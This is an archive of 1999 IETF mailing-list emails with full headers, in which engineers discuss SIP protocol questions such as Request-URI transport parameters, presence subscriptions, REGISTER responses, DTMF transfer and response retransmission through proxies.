	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17228
	for confctrl-outgoing; Fri, 2 Jul 1999 08:42:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17223
	for <confctrl@zephyr.isi.edu>; Fri, 2 Jul 1999 08:42:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA15926
	for <confctrl@isi.edu>; Fri, 2 Jul 1999 08:42:02 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Jul  2 11:41:41 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA17909;
	Fri, 2 Jul 1999 11:41:41 -0400 (EDT)
Message-ID: <377CDD47.791893D4@cs.columbia.edu>
Date: Fri, 02 Jul 1999 11:39:51 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
CC: mmusic <confctrl@ISI.EDU>, Ricky Project <Ricky@lmf.ericsson.se>
Subject: Re: Request-URI
References: <377C6874.23859320@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo Camarillo wrote:
> 
> Hi,
> 
> Section 1.4.2 of the SIP RFC:
> "If the Request-URI specifies a protocol (TCP or UDP), the client..."
> 
> At the end of the section 2, the transport-param (UDP or TCP) seems to
> be forbidden for a Req-URI ( table 2 ).
> 
> How's that?
> 
This is one of the items changed based on earlier discussion following
the bake-off. The current raw text
(http://www.cs.columbia.edu/~hgs/sip/draft/sip/, if you care) allows
this parameter in Request-URIs.

From confctrl-owner  Fri Jul  2 17:05:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA15289
	for confctrl-outgoing; Fri, 2 Jul 1999 17:05:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA15271
	for <confctrl@zephyr.isi.edu>; Fri, 2 Jul 1999 17:04:58 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA14678
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 17:04:57 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id TAA02661
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 19:04:26 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id TAA24868
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 19:04:26 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id TAA15308; Fri, 2 Jul 1999 19:04:24 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id TAA13432;
	Fri, 2 Jul 1999 19:04:25 -0500 (CDT)
Message-Id: <199907030004.TAA13432@b04a24.exu.ericsson.se>
Subject: Re: Request-URI
To: eussean@exu.ericsson.se (Sean Olson)
Date: Fri, 2 Jul 1999 19:04:24 -0500 (CDT)
Cc: Gonzalo.Camarillo@ericsson.com, confctrl@ISI.EDU
In-Reply-To: <199907021516.KAA09178@b04a45.exu.ericsson.se> from "Sean Olson" at Jul 2, 99 10:16:30 am
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>For example, consider a UAS that only supports TCP, located behind a 
>firewall proxy that only supports UDP. What should the Request-URI look like?

Actually, I think this is fairly well defined; the request URI 
would be of the form:
sip:bob.smith@sip.tpc.int;transport=tcp

And you'd configure your firewall proxy to be, for example:
sip:firewall.localdomain.com;transport=udp

If there are a string of proxies (or redirect servers or any
combination of the two), each URI could potentially have a
transport parameter associated with it.

For example, let's assume that your firewall proxy is configured
in your client as "sip:firewall.localdomain.com;transport=udp".
You're trying to call Bob Smith, who has given you his
preferred address as "sip:bob.smith@localdomain.com;transport=udp".

1) uac -> r1 (localdomain.com), using UDP
INVITE sip:bob.smith@localdomain.com;transport=udp

2) r1 -> uac, using UDP
302 Temporarily Moved
Contact: sip:bob.smith@sip.tpc.int;transport=tcp

3) uac -> p1 (firewall.localdomain.com), using UDP
INVITE sip:bob.smith@sip.tpc.int;transport=tcp

4) p1 -> p2 (sip.tpc.int), using TCP
INVITE sip:bob.smith@sip.tpc.int;transport=tcp

In this example, I'm going to make p2 a registar that has
been instructed to proxy calls to Bob Smith.  Further, Bob
has registered with p2 as "sip:bsmi4@dialup01234.isp.net;transport=udp".

5) p2 -> uas (dialup01234.isp.net), using UDP
INVITE sip:bsmi4@dialup01234.isp.net;transport=udp

Each hop in the chain is identified by its own URI (whether
through configuration, as in the case of a firewall proxy, or 
from a lookup, as in the registrar/proxy example). Each of these
URIs may have a transport attribute associated with it, which 
identifies the transport to be used *for* *that* *hop*, not end-to-end.
Note that this is not necessarily going to align with the 
Request-URI in that same request (firewall proxies are an example;
see number 3, above).

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Mon Jul  5 04:31:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA11347
	for confctrl-outgoing; Mon, 5 Jul 1999 04:31:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA11342
	for <confctrl@zephyr.isi.edu>; Mon, 5 Jul 1999 04:30:58 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA06498
	for <confctrl@isi.edu>; Mon, 5 Jul 1999 04:30:45 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id SAA06219
	for <confctrl@isi.edu>; Mon, 5 Jul 1999 18:11:07 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567A5.003F5ACA ; Mon, 5 Jul 1999 17:02:00 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567A5.003F4B73.00@sampark.hss.hns.com>
Date: Mon, 5 Jul 1999 17:01:55 +0530
Subject: Clarifications on S*UBSCRIBE/NOTIFY
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Hi, Im in the process of doing the S*UBSCRIBE/NOTIFY thingy and have a few
basic questions:

1. When the user first logs into his SIP Phone Client, I  want him to get a
list of all logged in user.
According to SIP for Presence (SFP), I simply need to send S*UBSCRIBE with
expires:0 to get a list without
changing any state.
However, SFP only gives examples where I want to subscirbe to a specific
user, jdrosen. What is the syntax when I want to get all logged in users ?
A "*" ?

2.   Also, could you point me for a doc which discusses the BNF for
subscribe ?

3. The examples mention the uri as pip:<something>. However, since it is a
regular uri, can I use sip: instead without being non conformant ? I dont
want to use pip as of now.

4. Finally, a while ago I mailed to this list saying that Im returning the
list of users in a response to REGISTER request. I was told that this was
non sip compliant, but section 11 , point 2 (REGISTER vs NOTIFY) states
that even REGISTER can return the present state. I agree that SUB. is a
better way, but returning the user list in response to REGISTER does not
seem against compliance as was indicated.
Do correct me if I am wrong.


Regds
Arjun





From confctrl-owner  Mon Jul  5 05:47:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA13184
	for confctrl-outgoing; Mon, 5 Jul 1999 05:47:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA13179
	for <confctrl@zephyr.isi.edu>; Mon, 5 Jul 1999 05:47:57 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA08125
	for <confctrl@isi.edu>; Mon, 5 Jul 1999 05:47:50 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id TAA11479
	for <confctrl@isi.edu>; Mon, 5 Jul 1999 19:28:11 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567A5.004669B6 ; Mon, 5 Jul 1999 18:19:05 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567A5.00462AC9.00@sampark.hss.hns.com>
Date: Mon, 5 Jul 1999 18:19:02 +0530
Subject: Clarifications on S U B S C R I B E/N O T I F Y - Resend
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,This is a resend - my past two attempts did not reach the list. Hope
      this one does. (Is there some autofiltering based on text in this
      list ?)

Hi, Im in the process of doing the S U B S C R I B E/N O T I F Y thingy and
have a few basic questions:

1. When the user first logs into his SIP Phone Client, I  want him to get a
list of all logged in user.
According to SIP for Presence (SFP), I simply need to send S U B S C R I B
E with expires:0 to get a list without
changing any state.
However, SFP only gives examples where I want to subscirbe to a specific
user, jdrosen. What is the syntax when I want to get all logged in users ?
A "*" ?

2.   Also, could you point me for a doc which discusses the BNF for
subscribe ?

3. The examples mention the uri as pip:<something>. However, since it is a
regular uri, can I use sip: instead without being non conformant ? I dont
want to use pip as of now.

4. Finally, a while ago I mailed to this list saying that Im returning the
list of users in a response to REGISTER request. I was told that this was
non sip compliant, but section 11 , point 2 (REGISTER vs N O T I F Y)
states that even REGISTER can return the present state. I agree that SUB.
is a better way, but returning the user list in response to REGISTER does
not seem against compliance as was indicated.
Do correct me if I am wrong.


Regds
Arjun







From confctrl-owner  Mon Jul  5 13:16:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA26894
	for confctrl-outgoing; Mon, 5 Jul 1999 13:16:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26889
	for <confctrl@zephyr.isi.edu>; Mon, 5 Jul 1999 13:16:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA21837
	for <confctrl@isi.edu>; Mon, 5 Jul 1999 13:16:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Jul  5 16:15:50 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.96])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA27364;
	Mon, 5 Jul 1999 16:15:49 -0400 (EDT)
Message-ID: <378112A6.B7249E18@dnrc.bell-labs.com>
Date: Mon, 05 Jul 1999 16:16:38 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: Clarifications on S*UBSCRIBE/NOTIFY
References: <652567A5.003F4B73.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Hi, Im in the process of doing the S*UBSCRIBE/NOTIFY thingy and have a few
> basic questions:
> 
> 1. When the user first logs into his SIP Phone Client, I  want him to get a
> list of all logged in user.
> According to SIP for Presence (SFP), I simply need to send S*UBSCRIBE with
> expires:0 to get a list without
> changing any state.
> However, SFP only gives examples where I want to subscirbe to a specific
> user, jdrosen. What is the syntax when I want to get all logged in users ?
> A "*" ?

The SIP for presence document is quite a long ways from a standard. It
was a proposal for using SIP for presence, and not a complete protocol
spec. The impp working group will be defining a spec for presence and
IM. They are still working on requirements, which is why the SIP for
presence draft hasn't been cycled. SIP is not alone in the proposals for
the impp protocol. There are several other candidates, including SMTP.

> 
> 2.   Also, could you point me for a doc which discusses the BNF for
> subscribe ?

In terms of its usage for presence, there isn't any. The pint spec gives
some definitions for S_UBSCRIBE for their application. In any case its
just a method, so I'm not sure what BNF you'd need.

> 
> 3. The examples mention the uri as pip:<something>. However, since it is a
> regular uri, can I use sip: instead without being non conformant ? I dont
> want to use pip as of now.

Again, "conformance" is a bit ill defined for this draft, as its quite
far from an implementable standard. We chose to use a different URL
scheme because a callable user (sip:something-or-other) is a different
resource than a subscribable user (pip:something-or-other). Perhaps
subscriptions and invitations might be handled by different servers. On
the other hand, its the same protocol (assuming a SIP extension is
used), but just a different method, so perhaps a SIP URL is not
unreasonable.

> 
> 4. Finally, a while ago I mailed to this list saying that Im returning the
> list of users in a response to REGISTER request. I was told that this was
> non sip compliant, but section 11 , point 2 (REGISTER vs NOTIFY) states
> that even REGISTER can return the present state. I agree that SUB. is a
> better way, but returning the user list in response to REGISTER does not
> seem against compliance as was indicated.

Returning a list of users in a register response is not SIP (rfc2543)
compliant. The SIP for presence document is not a part of SIP, and
anyway does not specify this behavior.

I believe returning the list of all logged in users in response to a
register request is a VERY BAD idea:

1. The current SIP spec clearly states that the response to REGISTER
contains a list of the addresses currently registered to the name
provided by the To field in the REGISTER. Thus, returning a list of all
registered users is non-compliant and will confuse a UAC which is not
expecting such a list. 

2. The fact that I am registered somewhere is a sensitive piece of
information. Simply giving this list to anyone else who registers is
bad. In a complete presence system, access lists would allow each user
to define who is allowed access to their presence information. Only if a
user allowed arbitrary people access to their presence, should their
presence be returned to users who ask for "all logged in users".
Furthermore, getting the list of everyone who is logged in (and willing
to advertise it publicly) should be an EXPLICIT action, not a side
effect of a registration. Perhaps S_UBSCRIBE * is appropriate.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jul  5 18:23:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA04795
	for confctrl-outgoing; Mon, 5 Jul 1999 18:23:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA04790
	for <confctrl@zephyr.isi.edu>; Mon, 5 Jul 1999 18:23:32 -0700 (PDT)
Received: from uyquist.fmmo.ca (www.fmmo.ca [207.253.160.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA03065
	for <confctrl@ISI.EDU>; Mon, 5 Jul 1999 18:23:31 -0700 (PDT)
Received: from NYQUIST (HSE-Montreal-ppp20307.qc.sympatico.ca [204.101.211.251])
	by uyquist.fmmo.ca (8.9.3/8.9.3) with SMTP id XAA00360
	for <confctrl@ISI.EDU>; Mon, 5 Jul 1999 23:50:53 -0400
Reply-To: <fm-listproc@fmmo.ca>
From: "Francois Menard" <fm-listproc@fmmo.ca>
To: <confctrl@ISI.EDU>
Subject: Packetcable drafts
Date: Mon, 5 Jul 1999 21:22:54 -0400
Message-ID: <NBBBJJLCKFDEFEBLPBJMOECOEEAA.fm-listproc@fmmo.ca>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2918.2701
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Have the draft-dcsgroup-* been posted to the IETF yet ?

Is there an agreement that re-invites, even if felt as simpler for
SIP-centric QOS applications, are a bad idea ?

-=Francois=-
--
Francois D. Menard, Consultant
402 2nd Avenue
Verdun QC H4G 2W5
Canada
fmenard@fmmo.ca


From confctrl-owner  Mon Jul  5 22:35:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA10794
	for confctrl-outgoing; Mon, 5 Jul 1999 22:35:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA10789
	for <confctrl@zephyr.isi.edu>; Mon, 5 Jul 1999 22:35:06 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA09868
	for <confctrl@ISI.EDU>; Mon, 5 Jul 1999 22:35:05 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FEF00C3DOTMLK@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 6 Jul 1999 05:34:34 +0000 (GMT)
Received: from omzmta03.mcit.com (omzmta03.mcit.com [166.37.194.121])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id FAA26186; Tue,
 06 Jul 1999 05:33:30 +0000 (GMT)
Received: from sinnreich ([166.44.139.48])
 by omzmta03.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990706053432.GRZV433@sinnreich>; Tue,
 06 Jul 1999 05:34:32 +0000
Date: Tue, 06 Jul 1999 19:33:46 +0200
From: Henry Sinnreich <henry.sinnreich@wcom.com>
Subject: RE: Packetcable drafts
In-reply-to: <NBBBJJLCKFDEFEBLPBJMOECOEEAA.fm-listproc@fmmo.ca>
To: fm-listproc@fmmo.ca, confctrl@ISI.EDU
Message-id: <NBBBIIJFOKPMFOOILMBKAEBMEEAA.henry.sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Have the draft-dcsgroup-* been posted to the IETF yet ?
Yes, I just found them, please see the attached.
Henry

1. http URL:draft-dcsgroup-mmusic-resource-00.txt
    Title: Integration of Resource Management and Call Signaling for IP
Telep...


  2. http URL:draft-dcsgroup-mmusic-state-00.txt
    Title: SIP Extensions for supporting Distributed Call State


  3. http URL:draft-dcsgroup-mmusic-proxy-proxy-00.txt
    Title: SIP proxy-to-proxy extensions for supporting Distributed Call
State


  4. http URL:draft-dcsgroup-mmusic-privacy-00.txt
    Title: SIP Extensions for Caller Privacy


  5. http URL:draft-dcsgroup-mmusic-call-auth-00.txt

  6. http URL:draft-dcsgroup-mmusic-arch-00.txt


> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Francois Menard
> Sent: Tuesday, July 06, 1999 3:23 AM
> To: confctrl@ISI.EDU
> Subject: Packetcable drafts
>
>
> Have the draft-dcsgroup-* been posted to the IETF yet ?
>
> Is there an agreement that re-invites, even if felt as simpler for
> SIP-centric QOS applications, are a bad idea ?
>
> -=Francois=-
> --
> Francois D. Menard, Consultant
> 402 2nd Avenue
> Verdun QC H4G 2W5
> Canada
> fmenard@fmmo.ca
>


From confctrl-owner  Tue Jul  6 00:31:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA13753
	for confctrl-outgoing; Tue, 6 Jul 1999 00:31:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA13747
	for <confctrl@zephyr.isi.edu>; Tue, 6 Jul 1999 00:31:28 -0700 (PDT)
Received: from hotmail.com (law-f201.hotmail.com [209.185.130.111])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA13888
	for <confctrl@ISI.EDU>; Tue, 6 Jul 1999 00:31:28 -0700 (PDT)
Received: (qmail 13015 invoked by uid 0); 6 Jul 1999 07:30:58 -0000
Message-ID: <19990706073058.13014.qmail@hotmail.com>
Received: from 157.161.231.200 by www.hotmail.com with HTTP;
	Tue, 06 Jul 1999 00:30:57 PDT
X-Originating-IP: [157.161.231.200]
From: Patrik Suter <patrik_suter@hotmail.com>
To: confctrl@ISI.EDU
Subject: Please remove my account from the mail list. Thanks.
Date: Tue, 06 Jul 1999 00:30:57 PDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

patrik.suter@bluewin.ch


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Tue Jul  6 00:52:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA14264
	for confctrl-outgoing; Tue, 6 Jul 1999 00:52:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA14259
	for <confctrl@zephyr.isi.edu>; Tue, 6 Jul 1999 00:52:13 -0700 (PDT)
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA14347
	for <confctrl@ISI.EDU>; Tue, 6 Jul 1999 00:52:10 -0700 (PDT)
From: Patrik.Suter@habasit.com
Received: from hchs0008.habasit.ch ([194.56.125.8])
	by mail.imp.ch (8.9.3/8.9.3) with SMTP id JAA11733
	for <confctrl@ISI.EDU>; Tue, 6 Jul 1999 09:52:05 +0200 (MET DST)
Received: by hchs0008.habasit.ch(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id C12567A6.002AE959 ; Tue, 6 Jul 1999 09:48:42 +0200
X-Lotus-FromDomain: HNET
To: confctrl@ISI.EDU
Message-ID: <C12567A6.002AE785.00@hchs0008.habasit.ch>
Date: Tue, 6 Jul 1999 09:50:51 +0200
Subject: remove
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Please remove my mailing list subscription. My e-mail is
"patrik.suter@bluewin.ch"
Thanks a lot.

Patrik Suter



From confctrl-owner  Tue Jul  6 08:00:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25807
	for confctrl-outgoing; Tue, 6 Jul 1999 08:00:25 -0700 (PDT)
Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25802
	for <confctrl@zephyr.isi.edu>; Tue, 6 Jul 1999 08:00:22 -0700 (PDT)
Received: from jacob ([194.90.192.122])
	by mailgw1.netvision.net.il (8.9.3/8.9.3) with SMTP id SAA30691
	for <confctrl@zephyr.isi.edu>; Tue, 6 Jul 1999 18:00:19 +0300
From: "Jacob Avraham" <jacoba@mediagate.co.il>
To: <confctrl@ISI.EDU>
Subject: SIP stack
Date: Tue, 6 Jul 1999 18:04:14 +0300
Message-ID: <003301bec7c0$cffd3a00$7ac05ac2@mediagate>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Are there any companies that offer a SIP/SDP stack/sdk/ref-implementation
for a user agent?

Thanks,

Jacob Avraham
Mediagate


From confctrl-owner  Wed Jul  7 06:27:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA29728
	for confctrl-outgoing; Wed, 7 Jul 1999 06:27:01 -0700 (PDT)
Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29723
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 06:26:59 -0700 (PDT)
Received: from jacob ([194.90.192.122])
	by mailgw1.netvision.net.il (8.9.3/8.9.3) with SMTP id QAA04378;
	Wed, 7 Jul 1999 16:26:56 +0300
From: "Jacob Avraham" <jacoba@mediagate.co.il>
To: "MMUSIC list" <confctrl@ISI.EDU>,
        "IPTEL list" <iptel@lists.research.bell-labs.com>
Subject: DTMF & SIP
Date: Wed, 7 Jul 1999 16:30:49 +0300
Message-ID: <004801bec87c$ed59fc70$7ac05ac2@mediagate>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Is there any mechanism in SIP to transfer DTMF (not in the RTP stream)
during the call? Or, if this is outside the scope of SIP, what companion
protocol is used to do that?

Thanks,

Jacob Avraham
Mediagate

From confctrl-owner  Wed Jul  7 14:59:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28032
	for confctrl-outgoing; Wed, 7 Jul 1999 14:59:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28027
	for <confctrl@zephyr.isi.edu>; Wed, 7 Jul 1999 14:59:43 -0700 (PDT)
Received: from smtp1-alterdial.uu.net (smtp1-alterdial.uu.net [192.48.96.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA08116
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 14:59:42 -0700 (PDT)
Received: from dynamicsoft.com by smtp1-alterdial.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.10])
	id QQgwwt27676
	for <confctrl@ISI.EDU>; Wed, 7 Jul 1999 21:59:42 GMT
Message-ID: <3783CDC8.B21817B7@dynamicsoft.com>
Date: Wed, 07 Jul 1999 17:59:36 -0400
From: Vipul Patel <vpatel@dynamicsoft.com>
X-Mailer: Mozilla 4.6 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC list <confctrl@ISI.EDU>
Subject: SIP question on retransmition of 2xx response
Content-Type: multipart/alternative;
 boundary="------------EDB46493B090464D71126B06"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------EDB46493B090464D71126B06
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Let's look at following example:

Client A sends an INVITE request to Client B which goes through stateful
proxy P. Client B sends 200 OK response with a Contact header, which
goes to Client A through proxy P. Now Client A sends the ACK directly to
Client B at the URL listed in the Contact header field. Since the ACK
did not go through the proxy P, it retransmits the 200 OK response, and
eventually timeout. Meanwhile Client A will continue to retransmit ACK
as it receives 200 OK response from proxy P.

Does it make sense for proxy P to retransmit 2xx response in this case
or in general?

Vipul.

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com



--------------EDB46493B090464D71126B06
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Let's look at following example:
<p>Client A sends an INVITE request to Client B which goes through stateful
proxy P. Client B sends 200 OK response with a Contact header, which goes
to Client A through proxy P. Now Client A sends the ACK directly to Client
B at the URL listed in the Contact header field. Since the ACK did not
go through the proxy P, it retransmits the 200 OK response, and eventually
timeout. Meanwhile Client A will continue to retransmit ACK as it receives
200 OK response from proxy P.
<p>Does it make sense for proxy P to retransmit 2xx response in this case
or in general?
<p>Vipul.
<pre>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
